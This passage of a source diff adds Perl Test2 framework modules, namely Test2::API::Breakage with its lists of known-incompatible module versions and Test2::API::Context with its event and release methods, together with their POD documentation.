+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API/Breakage.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API/Breakage.pm
new file mode 100644
index 00000000000..08aee9dcb1a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API/Breakage.pm
@@ -0,0 +1,178 @@
+package Test2::API::Breakage;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+use Test2::Util qw/pkg_to_file/;
+
+our @EXPORT_OK = qw{
+ upgrade_suggested
+ upgrade_required
+ known_broken
+};
+BEGIN { require Exporter; our @ISA = qw(Exporter) }
+
+sub upgrade_suggested {
+ return (
+ 'Test::Exception' => '0.42',
+ 'Test::FITesque' => '0.04',
+ 'Test::Module::Used' => '0.2.5',
+ 'Test::Moose::More' => '0.025',
+ );
+}
+
+sub upgrade_required {
+ return (
+ 'Test::Builder::Clutch' => '0.07',
+ 'Test::Dist::VersionSync' => '1.1.4',
+ 'Test::Modern' => '0.012',
+ 'Test::SharedFork' => '0.34',
+ 'Test::Alien' => '0.04',
+ 'Test::UseAllModules' => '0.14',
+ 'Test::More::Prefix' => '0.005',
+
+ 'Test2::Tools::EventDumper' => 0.000007,
+ 'Test2::Harness' => 0.000013,
+
+ 'Test::DBIx::Class::Schema' => '1.0.9',
+ 'Test::Clustericious::Cluster' => '0.30',
+ );
+}
+
+sub known_broken {
+ return (
+ 'Net::BitTorrent' => '0.052',
+ 'Test::Able' => '0.11',
+ 'Test::Aggregate' => '0.373',
+ 'Test::Flatten' => '0.11',
+ 'Test::Group' => '0.20',
+ 'Test::ParallelSubtest' => '0.05',
+ 'Test::Pretty' => '0.32',
+ 'Test::Wrapper' => '0.3.0',
+
+ 'Log::Dispatch::Config::TestLog' => '0.02',
+ );
+}
+
+# Not reportable:
+# Device::Chip => 0.07 - Tests will not pass, but not broken if already installed, also no fixed version we can upgrade to.
+
+sub report {
+ my $class = shift;
+ my ($require) = @_;
+
+ my %suggest = __PACKAGE__->upgrade_suggested();
+ my %required = __PACKAGE__->upgrade_required();
+ my %broken = __PACKAGE__->known_broken();
+
+ my @warn;
+ for my $mod (keys %suggest) {
+ my $file = pkg_to_file($mod);
+ next unless $INC{$file} || ($require && eval { require $file; 1 });
+ my $want = $suggest{$mod};
+ next if eval { $mod->VERSION($want); 1 };
+ push @warn => " * Module '$mod' is outdated, we recommed updating above $want.";
+ }
+
+ for my $mod (keys %required) {
+ my $file = pkg_to_file($mod);
+ next unless $INC{$file} || ($require && eval { require $file; 1 });
+ my $want = $required{$mod};
+ next if eval { $mod->VERSION($want); 1 };
+ push @warn => " * Module '$mod' is outdated and known to be broken, please update to $want or higher.";
+ }
+
+ for my $mod (keys %broken) {
+ my $file = pkg_to_file($mod);
+ next unless $INC{$file} || ($require && eval { require $file; 1 });
+ my $tested = $broken{$mod};
+ push @warn => " * Module '$mod' is known to be broken in version $tested and below, newer versions have not been tested. You have: " . $mod->VERSION;
+ }
+
+ return @warn;
+}
+
+1;
+
+__END__
+
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::API::Breakage - What breaks at what version
+
+=head1 DESCRIPTION
+
+This module provides lists of modules that are broken, or have been broken in
+the past, when upgrading L<Test::Builder> to use L<Test2>.
+
+=head1 FUNCTIONS
+
+These can be imported, or called as methods on the class.
+
+=over 4
+
+=item %mod_ver = upgrade_suggested()
+
+=item %mod_ver = Test2::API::Breakage->upgrade_suggested()
+
+This returns key/value pairs. The key is the module name, the value is the
+version number. If the installed version of the module is at or below the
+specified one then an upgrade would be a good idea, but not strictly necessary.
+
+=item %mod_ver = upgrade_required()
+
+=item %mod_ver = Test2::API::Breakage->upgrade_required()
+
+This returns key/value pairs. The key is the module name, the value is the
+version number. If the installed version of the module is at or below the
+specified one then an upgrade is required for the module to work properly.
+
+=item %mod_ver = known_broken()
+
+=item %mod_ver = Test2::API::Breakage->known_broken()
+
+This returns key/value pairs. The key is the module name, the value is the
+version number. If the installed version of the module is at or below the
+specified one then the module will not work. A newer version may work, but is
+not tested or verified.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API/Context.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API/Context.pm
new file mode 100644
index 00000000000..6141a43ff8e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API/Context.pm
@@ -0,0 +1,985 @@
+package Test2::API::Context;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+use Carp qw/confess croak/;
+use Scalar::Util qw/weaken blessed/;
+use Test2::Util qw/get_tid try pkg_to_file get_tid/;
+
+use Test2::EventFacet::Trace();
+use Test2::API();
+
+# Preload some key event types
+my %LOADED = (
+ map {
+ my $pkg = "Test2::Event::$_";
+ my $file = "Test2/Event/$_.pm";
+ require $file unless $INC{$file};
+ ( $pkg => $pkg, $_ => $pkg )
+ } qw/Ok Diag Note Plan Bail Exception Waiting Skip Subtest Pass Fail V2/
+);
+
+use Test2::Util::ExternalMeta qw/meta get_meta set_meta delete_meta/;
+use Test2::Util::HashBase qw{
+ stack hub trace _on_release _depth _is_canon _is_spawn _aborted
+ errno eval_error child_error thrown
+};
+
+# Private, not package vars
+# It is safe to cache these.
+my $ON_RELEASE = Test2::API::_context_release_callbacks_ref();
+my $CONTEXTS = Test2::API::_contexts_ref();
+
+sub init {
+ my $self = shift;
+
+ confess "The 'trace' attribute is required"
+ unless $self->{+TRACE};
+
+ confess "The 'hub' attribute is required"
+ unless $self->{+HUB};
+
+ $self->{+_DEPTH} = 0 unless defined $self->{+_DEPTH};
+
+ $self->{+ERRNO} = $! unless exists $self->{+ERRNO};
+ $self->{+EVAL_ERROR} = $@ unless exists $self->{+EVAL_ERROR};
+ $self->{+CHILD_ERROR} = $? unless exists $self->{+CHILD_ERROR};
+}
+
+sub snapshot { bless {%{$_[0]}, _is_canon => undef, _is_spawn => undef, _aborted => undef}, __PACKAGE__ }
+
+sub restore_error_vars {
+ my $self = shift;
+ ($!, $@, $?) = @$self{+ERRNO, +EVAL_ERROR, +CHILD_ERROR};
+}
+
+sub DESTROY {
+ return unless $_[0]->{+_IS_CANON} || $_[0]->{+_IS_SPAWN};
+ return if $_[0]->{+_ABORTED} && ${$_[0]->{+_ABORTED}};
+ my ($self) = @_;
+
+ my $hub = $self->{+HUB};
+ my $hid = $hub->{hid};
+
+ # Do not show the warning if it looks like an exception has been thrown, or
+ # if the context is not local to this process or thread.
+ {
+ # Sometimes $@ is uninitialized, not a problem in this case so do not
+ # show the warning about using eq.
+ no warnings 'uninitialized';
+ if($self->{+EVAL_ERROR} eq $@ && $hub->is_local) {
+ my $frame = $self->{+_IS_SPAWN} || $self->{+TRACE}->frame;
+ warn <<" EOT";
+A context appears to have been destroyed without first calling release().
+Based on \$@ it does not look like an exception was thrown (this is not always
+a reliable test)
+
+This is a problem because the global error variables (\$!, \$@, and \$?) will
+not be restored. In addition some release callbacks will not work properly from
+inside a DESTROY method.
+
+Here are the context creation details, just in case a tool forgot to call
+release():
+ File: $frame->[1]
+ Line: $frame->[2]
+ Tool: $frame->[3]
+
+Cleaning up the CONTEXT stack...
+ EOT
+ }
+ }
+
+ return if $self->{+_IS_SPAWN};
+
+ # Remove the key itself to avoid a slow memory leak
+ delete $CONTEXTS->{$hid};
+ $self->{+_IS_CANON} = undef;
+
+ if (my $cbk = $self->{+_ON_RELEASE}) {
+ $_->($self) for reverse @$cbk;
+ }
+ if (my $hcbk = $hub->{_context_release}) {
+ $_->($self) for reverse @$hcbk;
+ }
+ $_->($self) for reverse @$ON_RELEASE;
+}
+
+# release exists to implement behaviors like die-on-fail. In die-on-fail you
+# want to die after a failure, but only after diagnostics have been reported.
+# The ideal time for the die to happen is when the context is released.
+# Unfortunately die does not work in a DESTROY block.
+sub release {
+ my ($self) = @_;
+
+ ($!, $@, $?) = @$self{+ERRNO, +EVAL_ERROR, +CHILD_ERROR} and return if $self->{+THROWN};
+
+ ($!, $@, $?) = @$self{+ERRNO, +EVAL_ERROR, +CHILD_ERROR} and return $self->{+_IS_SPAWN} = undef
+ if $self->{+_IS_SPAWN};
+
+ croak "release() should not be called on context that is neither canon nor a child"
+ unless $self->{+_IS_CANON};
+
+ my $hub = $self->{+HUB};
+ my $hid = $hub->{hid};
+
+ croak "context thinks it is canon, but it is not"
+ unless $CONTEXTS->{$hid} && $CONTEXTS->{$hid} == $self;
+
+ # Remove the key itself to avoid a slow memory leak
+ $self->{+_IS_CANON} = undef;
+ delete $CONTEXTS->{$hid};
+
+ if (my $cbk = $self->{+_ON_RELEASE}) {
+ $_->($self) for reverse @$cbk;
+ }
+ if (my $hcbk = $hub->{_context_release}) {
+ $_->($self) for reverse @$hcbk;
+ }
+ $_->($self) for reverse @$ON_RELEASE;
+
+ # Do this last so that nothing else changes them.
+ # If one of the hooks dies then these do not get restored, this is
+ # intentional
+ ($!, $@, $?) = @$self{+ERRNO, +EVAL_ERROR, +CHILD_ERROR};
+
+ return;
+}
+
+sub do_in_context {
+ my $self = shift;
+ my ($sub, @args) = @_;
+
+ # We need to update the pid/tid and error vars.
+ my $clone = $self->snapshot;
+ @$clone{+ERRNO, +EVAL_ERROR, +CHILD_ERROR} = ($!, $@, $?);
+ $clone->{+TRACE} = $clone->{+TRACE}->snapshot(pid => $$, tid => get_tid());
+
+ my $hub = $clone->{+HUB};
+ my $hid = $hub->hid;
+
+ my $old = $CONTEXTS->{$hid};
+
+ $clone->{+_IS_CANON} = 1;
+ $CONTEXTS->{$hid} = $clone;
+ weaken($CONTEXTS->{$hid});
+ my ($ok, $err) = &try($sub, @args);
+ my ($rok, $rerr) = try { $clone->release };
+ delete $clone->{+_IS_CANON};
+
+ if ($old) {
+ $CONTEXTS->{$hid} = $old;
+ weaken($CONTEXTS->{$hid});
+ }
+ else {
+ delete $CONTEXTS->{$hid};
+ }
+
+ die $err unless $ok;
+ die $rerr unless $rok;
+}
+
+sub done_testing {
+ my $self = shift;
+ $self->hub->finalize($self->trace, 1);
+ return;
+}
+
+sub throw {
+ my ($self, $msg) = @_;
+ $self->{+THROWN} = 1;
+ ${$self->{+_ABORTED}}++ if $self->{+_ABORTED};
+ $self->release if $self->{+_IS_CANON} || $self->{+_IS_SPAWN};
+ $self->trace->throw($msg);
+}
+
+sub alert {
+ my ($self, $msg) = @_;
+ $self->trace->alert($msg);
+}
+
+sub send_ev2_and_release {
+ my $self = shift;
+ my $out = $self->send_ev2(@_);
+ $self->release;
+ return $out;
+}
+
+sub send_ev2 {
+ my $self = shift;
+
+ my $e;
+ {
+ local $Carp::CarpLevel = $Carp::CarpLevel + 1;
+ $e = Test2::Event::V2->new(
+ trace => $self->{+TRACE}->snapshot,
+ @_,
+ );
+ }
+
+ if ($self->{+_ABORTED}) {
+ my $f = $e->facet_data;
+ ${$self->{+_ABORTED}}++ if $f->{control}->{halt} || defined($f->{control}->{terminate}) || defined($e->terminate);
+ }
+ $self->{+HUB}->send($e);
+}
+
+sub build_ev2 {
+ my $self = shift;
+
+ local $Carp::CarpLevel = $Carp::CarpLevel + 1;
+ Test2::Event::V2->new(
+ trace => $self->{+TRACE}->snapshot,
+ @_,
+ );
+}
+
+sub send_event_and_release {
+ my $self = shift;
+ my $out = $self->send_event(@_);
+ $self->release;
+ return $out;
+}
+
+sub send_event {
+ my $self = shift;
+ my $event = shift;
+ my %args = @_;
+
+ my $pkg = $LOADED{$event} || $self->_parse_event($event);
+
+ my $e;
+ {
+ local $Carp::CarpLevel = $Carp::CarpLevel + 1;
+ $e = $pkg->new(
+ trace => $self->{+TRACE}->snapshot,
+ %args,
+ );
+ }
+
+ if ($self->{+_ABORTED}) {
+ my $f = $e->facet_data;
+ ${$self->{+_ABORTED}}++ if $f->{control}->{halt} || defined($f->{control}->{terminate}) || defined($e->terminate);
+ }
+ $self->{+HUB}->send($e);
+}
+
+sub build_event {
+ my $self = shift;
+ my $event = shift;
+ my %args = @_;
+
+ my $pkg = $LOADED{$event} || $self->_parse_event($event);
+
+ local $Carp::CarpLevel = $Carp::CarpLevel + 1;
+ $pkg->new(
+ trace => $self->{+TRACE}->snapshot,
+ %args,
+ );
+}
+
+sub pass {
+ my $self = shift;
+ my ($name) = @_;
+
+ my $e = bless(
+ {
+ trace => bless({%{$self->{+TRACE}}}, 'Test2::EventFacet::Trace'),
+ name => $name,
+ },
+ "Test2::Event::Pass"
+ );
+
+ $self->{+HUB}->send($e);
+ return $e;
+}
+
+sub pass_and_release {
+ my $self = shift;
+ my ($name) = @_;
+
+ my $e = bless(
+ {
+ trace => bless({%{$self->{+TRACE}}}, 'Test2::EventFacet::Trace'),
+ name => $name,
+ },
+ "Test2::Event::Pass"
+ );
+
+ $self->{+HUB}->send($e);
+ $self->release;
+ return 1;
+}
+
+sub fail {
+ my $self = shift;
+ my ($name, @diag) = @_;
+
+ my $e = bless(
+ {
+ trace => bless({%{$self->{+TRACE}}}, 'Test2::EventFacet::Trace'),
+ name => $name,
+ },
+ "Test2::Event::Fail"
+ );
+
+ $e->add_info({tag => 'DIAG', debug => 1, details => $_}) for @diag;
+ $self->{+HUB}->send($e);
+ return $e;
+}
+
+sub fail_and_release {
+ my $self = shift;
+ my ($name, @diag) = @_;
+
+ my $e = bless(
+ {
+ trace => bless({%{$self->{+TRACE}}}, 'Test2::EventFacet::Trace'),
+ name => $name,
+ },
+ "Test2::Event::Fail"
+ );
+
+ $e->add_info({tag => 'DIAG', debug => 1, details => $_}) for @diag;
+ $self->{+HUB}->send($e);
+ $self->release;
+ return 0;
+}
+
+sub ok {
+ my $self = shift;
+ my ($pass, $name, $on_fail) = @_;
+
+ my $hub = $self->{+HUB};
+
+ my $e = bless {
+ trace => bless( {%{$self->{+TRACE}}}, 'Test2::EventFacet::Trace'),
+ pass => $pass,
+ name => $name,
+ }, 'Test2::Event::Ok';
+ $e->init;
+
+ $hub->send($e);
+ return $e if $pass;
+
+ $self->failure_diag($e);
+
+ if ($on_fail && @$on_fail) {
+ $self->diag($_) for @$on_fail;
+ }
+
+ return $e;
+}
+
+sub failure_diag {
+ my $self = shift;
+ my ($e) = @_;
+
+ # Figure out the debug info, this is typically the file name and line
+ # number, but can also be a custom message. If no trace object is provided
+ # then we have nothing useful to display.
+ my $name = $e->name;
+ my $trace = $e->trace;
+ my $debug = $trace ? $trace->debug : "[No trace info available]";
+
+ # Create the initial diagnostics. If the test has a name we put the debug
+ # info on a second line, this behavior is inherited from Test::Builder.
+ my $msg = defined($name)
+ ? qq[Failed test '$name'\n$debug.\n]
+ : qq[Failed test $debug.\n];
+
+ $self->diag($msg);
+}
+
+sub skip {
+ my $self = shift;
+ my ($name, $reason, @extra) = @_;
+ $self->send_event(
+ 'Skip',
+ name => $name,
+ reason => $reason,
+ pass => 1,
+ @extra,
+ );
+}
+
+sub note {
+ my $self = shift;
+ my ($message) = @_;
+ $self->send_event('Note', message => $message);
+}
+
+sub diag {
+ my $self = shift;
+ my ($message) = @_;
+ my $hub = $self->{+HUB};
+ $self->send_event(
+ 'Diag',
+ message => $message,
+ );
+}
+
+sub plan {
+ my ($self, $max, $directive, $reason) = @_;
+ $self->send_event('Plan', max => $max, directive => $directive, reason => $reason);
+}
+
+sub bail {
+ my ($self, $reason) = @_;
+ $self->send_event('Bail', reason => $reason);
+}
+
+sub _parse_event {
+ my $self = shift;
+ my $event = shift;
+
+ my $pkg;
+ if ($event =~ m/^\+(.*)/) {
+ $pkg = $1;
+ }
+ else {
+ $pkg = "Test2::Event::$event";
+ }
+
+ unless ($LOADED{$pkg}) {
+ my $file = pkg_to_file($pkg);
+ my ($ok, $err) = try { require $file };
+ $self->throw("Could not load event module '$pkg': $err")
+ unless $ok;
+
+ $LOADED{$pkg} = $pkg;
+ }
+
+ confess "'$pkg' is not a subclass of 'Test2::Event'"
+ unless $pkg->isa('Test2::Event');
+
+ $LOADED{$event} = $pkg;
+
+ return $pkg;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::API::Context - Object to represent a testing context.
+
+=head1 DESCRIPTION
+
+The context object is the primary interface for authors of testing tools
+written with L<Test2>. The context object represents the context in
+which a test takes place (File and Line Number), and provides a quick way to
+generate events from that context. The context object also takes care of
+sending events to the correct L<Test2::Hub> instance.
+
+=head1 SYNOPSIS
+
+In general you will not be creating contexts directly. To obtain a context you
+should always use C<context()> which is exported by the L<Test2::API> module.
+
+ use Test2::API qw/context/;
+
+ sub my_ok {
+ my ($bool, $name) = @_;
+ my $ctx = context();
+ $ctx->ok($bool, $name);
+ $ctx->release; # You MUST do this!
+ return $bool;
+ }
+
+Context objects make it easy to wrap other tools that also use context. Once
+you grab a context, any tool you call before releasing your context will
+inherit it:
+
+ sub wrapper {
+ my ($bool, $name) = @_;
+ my $ctx = context();
+ $ctx->diag("wrapping my_ok");
+
+ my $out = my_ok($bool, $name);
+ $ctx->release; # You MUST do this!
+ return $out;
+ }
+
+=head1 CRITICAL DETAILS
+
+=over 4
+
+=item you MUST always use the context() sub from Test2::API
+
+Creating your own context via C<< Test2::API::Context->new() >> will almost never
+produce a desirable result. Use C<context()> which is exported by L<Test2::API>.
+
+There are a handful of cases where a tool author may want to create a new
+context by hand, which is why the C<new> method exists. Unless you really know
+what you are doing you should avoid this.
+
+=item You MUST always release the context when done with it
+
+Releasing the context tells the system you are done with it. This gives it a
+chance to run any necessary callbacks or cleanup tasks. If you forget to
+release the context it will try to detect the problem and warn you about it.
+
+=item You MUST NOT pass context objects around
+
+When you obtain a context object it is made specifically for your tool and any
+tools nested within. If you pass a context around you run the risk of polluting
+other tools with incorrect context information.
+
+If you are certain that you want a different tool to use the same context you
+may pass it a snapshot. C<< $ctx->snapshot >> will give you a shallow clone of
+the context that is safe to pass around or store.
+
+=item You MUST NOT store or cache a context for later
+
+As long as a context exists for a given hub, all tools that try to get a
+context will get the existing instance. If you try to store the context you
+will pollute other tools with incorrect context information.
+
+If you are certain that you want to save the context for later, you can use a
+snapshot. C<< $ctx->snapshot >> will give you a shallow clone of the context
+that is safe to pass around or store.
+
+C<context()> has some mechanisms to protect you if you do cause a context to
+persist beyond the scope in which it was obtained. In practice you should not
+rely on these protections, and they are fairly noisy with warnings.
+
+=item You SHOULD obtain your context as soon as possible in a given tool
+
+You never know what tools you call from within your own tool will need a
+context. Obtaining the context early ensures that nested tools can find the
+context you want them to find.
+
+=back
+
+=head1 METHODS
+
+=over 4
+
+=item $ctx->done_testing;
+
+Note that testing is finished. If no plan has been set this will generate a
+Plan event.
+
+=item $clone = $ctx->snapshot()
+
+This will return a shallow clone of the context. The shallow clone is safe to
+store for later.
+
+=item $ctx->release()
+
+This will release the context. This runs cleanup tasks, and several important
+hooks. It will also restore C<$!>, C<$?>, and C<$@> to what they were when the
+context was created.
+
+B<Note:> If a context is acquired more than once an internal refcount is kept.
+C<release()> decrements the ref count, none of the other actions of
+C<release()> will occur unless the refcount hits 0. This means only the last
+call to C<release()> will reset C<$?>, C<$!>, C<$@>,and run the cleanup tasks.
+
+=item $ctx->throw($message)
+
+This will throw an exception reporting to the file and line number of the
+context. This will also release the context for you.
+
+=item $ctx->alert($message)
+
+This will issue a warning from the file and line number of the context.
+
+=item $stack = $ctx->stack()
+
+This will return the L<Test2::API::Stack> instance the context used to find
+the current hub.
+
+=item $hub = $ctx->hub()
+
+This will return the L<Test2::Hub> instance the context recognizes as the
+current one to which all events should be sent.
+
+=item $dbg = $ctx->trace()
+
+This will return the L<Test2::EventFacet::Trace> instance used by the context.
+
+=item $ctx->do_in_context(\&code, @args);
+
+Sometimes you have a context that is not current, and you want things to use it
+as the current one. In these cases you can call
+C<< $ctx->do_in_context(sub { ... }) >>. The codeblock will be run, and
+anything inside of it that looks for a context will find the one on which the
+method was called.
+
+This B<DOES NOT> affect context on other hubs, only the hub used by the context
+will be affected.
+
+ my $ctx = ...;
+ $ctx->do_in_context(sub {
+ my $ctx = context(); # returns the $ctx the sub is called on
+ });
+
+B<Note:> The context will actually be cloned, the clone will be used instead of
+the original. This allows the thread id, process id, and error variables to be correct without
+modifying the original context.
+
+=item $ctx->restore_error_vars()
+
+This will set C<$!>, C<$?>, and C<$@> to what they were when the context was
+created. There is no localization or anything done here, calling this method
+will actually set these vars.
+
+=item $! = $ctx->errno()
+
+The (numeric) value of C<$!> when the context was created.
+
+=item $? = $ctx->child_error()
+
+The value of C<$?> when the context was created.
+
+=item $@ = $ctx->eval_error()
+
+The value of C<$@> when the context was created.
+
+=back
+
+=head2 EVENT PRODUCTION METHODS
+
+B<Which one do I use?>
+
+The C<pass*> and C<fail*> are optimal if they meet your situation, using one of
+them will always be the most optimal. That said they are optimal by eliminating
+many features.
+
+Method such as C<ok>, and C<note> are shortcuts for generating common 1-task
+events based on the old API, however they are forward compatible, and easy to
+use. If these meet your needs then go ahead and use them, but please check back
+often for alternatives that may be added.
+
+If you want to generate new style events, events that do many things at once,
+then you want the C<*ev2*> methods. These let you directly specify which facets
+you wish to use.
+
+=over 4
+
+=item $event = $ctx->pass()
+
+=item $event = $ctx->pass($name)
+
+This will send and return an L<Test2::Event::Pass> event. You may optionally
+provide a C<$name> for the assertion.
+
+The L<Test2::Event::Pass> is a specially crafted and optimized event, using
+this will help the performance of passing tests.
+
+=item $true = $ctx->pass_and_release()
+
+=item $true = $ctx->pass_and_release($name)
+
+This is a combination of C<pass()> and C<release()>. You can use this if you do
+not plan to do anything with the context after sending the event. This helps
+write more clear and compact code.
+
+ sub shorthand {
+ my ($bool, $name) = @_;
+ my $ctx = context();
+ return $ctx->pass_and_release($name) if $bool;
+
+ ... Handle a failure ...
+ }
+
+ sub longform {
+ my ($bool, $name) = @_;
+ my $ctx = context();
+
+ if ($bool) {
+ $ctx->pass($name);
+ $ctx->release;
+ return 1;
+ }
+
+ ... Handle a failure ...
+ }
+
+=item my $event = $ctx->fail()
+
+=item my $event = $ctx->fail($name)
+
+=item my $event = $ctx->fail($name, @diagnostics)
+
+This lets you send an L<Test2::Event::Fail> event. You may optionally provide a
+C<$name> and C<@diagnostics> messages.
+
+=item my $false = $ctx->fail_and_release()
+
+=item my $false = $ctx->fail_and_release($name)
+
+=item my $false = $ctx->fail_and_release($name, @diagnostics)
+
+This is a combination of C<fail()> and C<release()>. This can be used to write
+clearer and shorter code.
+
+ sub shorthand {
+ my ($bool, $name) = @_;
+ my $ctx = context();
+ return $ctx->fail_and_release($name) unless $bool;
+
+ ... Handle a success ...
+ }
+
+ sub longform {
+ my ($bool, $name) = @_;
+ my $ctx = context();
+
+ unless ($bool) {
+ $ctx->pass($name);
+ $ctx->release;
+ return 1;
+ }
+
+ ... Handle a success ...
+ }
+
+
+=item $event = $ctx->ok($bool, $name)
+
+=item $event = $ctx->ok($bool, $name, \@on_fail)
+
+B<NOTE:> Use of this method is discouraged in favor of C<pass()> and C<fail()>
+which produce L<Test2::Event::Pass> and L<Test2::Event::Fail> events. These
+newer event types are faster and less crufty.
+
+This will create an L<Test2::Event::Ok> object for you. If C<$bool> is false
+then an L<Test2::Event::Diag> event will be sent as well with details about the
+failure. If you do not want automatic diagnostics you should use the
+C<send_event()> method directly.
+
+The third argument C<\@on_fail>) is an optional set of diagnostics to be sent in
+the event of a test failure.
+
+=item $event = $ctx->note($message)
+
+Send an L<Test2::Event::Note>. This event prints a message to STDOUT.
+
+=item $event = $ctx->diag($message)
+
+Send an L<Test2::Event::Diag>. This event prints a message to STDERR.
+
+=item $event = $ctx->plan($max)
+
+=item $event = $ctx->plan(0, 'SKIP', $reason)
+
+This can be used to send an L<Test2::Event::Plan> event. This event
+usually takes either a number of tests you expect to run. Optionally you can
+set the expected count to 0 and give the 'SKIP' directive with a reason to
+cause all tests to be skipped.
+
+=item $event = $ctx->skip($name, $reason);
+
+Send an L<Test2::Event::Skip> event.
+
+=item $event = $ctx->bail($reason)
+
+This sends an L<Test2::Event::Bail> event. This event will completely
+terminate all testing.
+
+=item $event = $ctx->send_ev2(%facets)
+
+This lets you build and send a V2 event directly from facets. The event is
+returned after it is sent.
+
+This example sends a single assertion, a note (comment for stdout in
+Test::Builder talk) and sets the plan to 1.
+
+ my $event = $ctx->send_event(
+ plan => {count => 1},
+ assert => {pass => 1, details => "A passing assert"},
+ info => [{tag => 'NOTE', details => "This is a note"}],
+ );
+
+=item $event = $ctx->build_e2(%facets)
+
+This is the same as C<send_ev2()>, except it builds and returns the event
+without sending it.
+
+=item $event = $ctx->send_ev2_and_release($Type, %parameters)
+
+This is a combination of C<send_ev2()> and C<release()>.
+
+ sub shorthand {
+ my $ctx = context();
+ return $ctx->send_ev2_and_release(assert => {pass => 1, details => 'foo'});
+ }
+
+ sub longform {
+ my $ctx = context();
+ my $event = $ctx->send_ev2(assert => {pass => 1, details => 'foo'});
+ $ctx->release;
+ return $event;
+ }
+
+=item $event = $ctx->send_event($Type, %parameters)
+
+B<It is better to use send_ev2() in new code.>
+
+This lets you build and send an event of any type. The C<$Type> argument should
+be the event package name with C<Test2::Event::> left off, or a fully
+qualified package name prefixed with a '+'. The event is returned after it is
+sent.
+
+ my $event = $ctx->send_event('Ok', ...);
+
+or
+
+ my $event = $ctx->send_event('+Test2::Event::Ok', ...);
+
+=item $event = $ctx->build_event($Type, %parameters)
+
+B<It is better to use build_ev2() in new code.>
+
+This is the same as C<send_event()>, except it builds and returns the event
+without sending it.
+
+=item $event = $ctx->send_event_and_release($Type, %parameters)
+
+B<It is better to use send_ev2_and_release() in new code.>
+
+This is a combination of C<send_event()> and C<release()>.
+
+ sub shorthand {
+ my $ctx = context();
+ return $ctx->send_event_and_release(Pass => { name => 'foo' });
+ }
+
+ sub longform {
+ my $ctx = context();
+ my $event = $ctx->send_event(Pass => { name => 'foo' });
+ $ctx->release;
+ return $event;
+ }
+
+=back
+
+=head1 HOOKS
+
+There are 2 types of hooks, init hooks, and release hooks. As the names
+suggest, these hooks are triggered when contexts are created or released.
+
+=head2 INIT HOOKS
+
+These are called whenever a context is initialized. That means when a new
+instance is created. These hooks are B<NOT> called every time something
+requests a context, just when a new one is created.
+
+=head3 GLOBAL
+
+This is how you add a global init callback. Global callbacks happen for every
+context for any hub or stack.
+
+ Test2::API::test2_add_callback_context_init(sub {
+ my $ctx = shift;
+ ...
+ });
+
+=head3 PER HUB
+
+This is how you add an init callback for all contexts created for a given hub.
+These callbacks will not run for other hubs.
+
+ $hub->add_context_init(sub {
+ my $ctx = shift;
+ ...
+ });
+
+=head3 PER CONTEXT
+
+This is how you specify an init hook that will only run if your call to
+C<context()> generates a new context. The callback will be ignored if
+C<context()> is returning an existing context.
+
+ my $ctx = context(on_init => sub {
+ my $ctx = shift;
+ ...
+ });
+
+=head2 RELEASE HOOKS
+
+These are called whenever a context is released. That means when the last
+reference to the instance is about to be destroyed. These hooks are B<NOT>
+called every time C<< $ctx->release >> is called.
+
+=head3 GLOBAL
+
+This is how you add a global release callback. Global callbacks happen for every
+context for any hub or stack.
+
+ Test2::API::test2_add_callback_context_release(sub {
+ my $ctx = shift;
+ ...
+ });
+
+=head3 PER HUB
+
+This is how you add a release callback for all contexts created for a given
+hub. These callbacks will not run for other hubs.
+
+ $hub->add_context_release(sub {
+ my $ctx = shift;
+ ...
+ });
+
+=head3 PER CONTEXT
+
+This is how you add release callbacks directly to a context. The callback will
+B<ALWAYS> be added to the context that gets returned, it does not matter if a
+new one is generated, or if an existing one is returned.
+
+ my $ctx = context(on_release => sub {
+ my $ctx = shift;
+ ...
+ });
+
+=head1 THIRD PARTY META-DATA
+
+This object consumes L<Test2::Util::ExternalMeta> which provides a consistent
+way for you to attach meta-data to instances of this class. This is useful for
+tools, plugins, and other extensions.
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=item Kent Fredric E<lt>kentnl@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API/Instance.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/API/Instance.pm
new file mode 100644
index 00000000000..0522dd77aa4
--- /dev/null
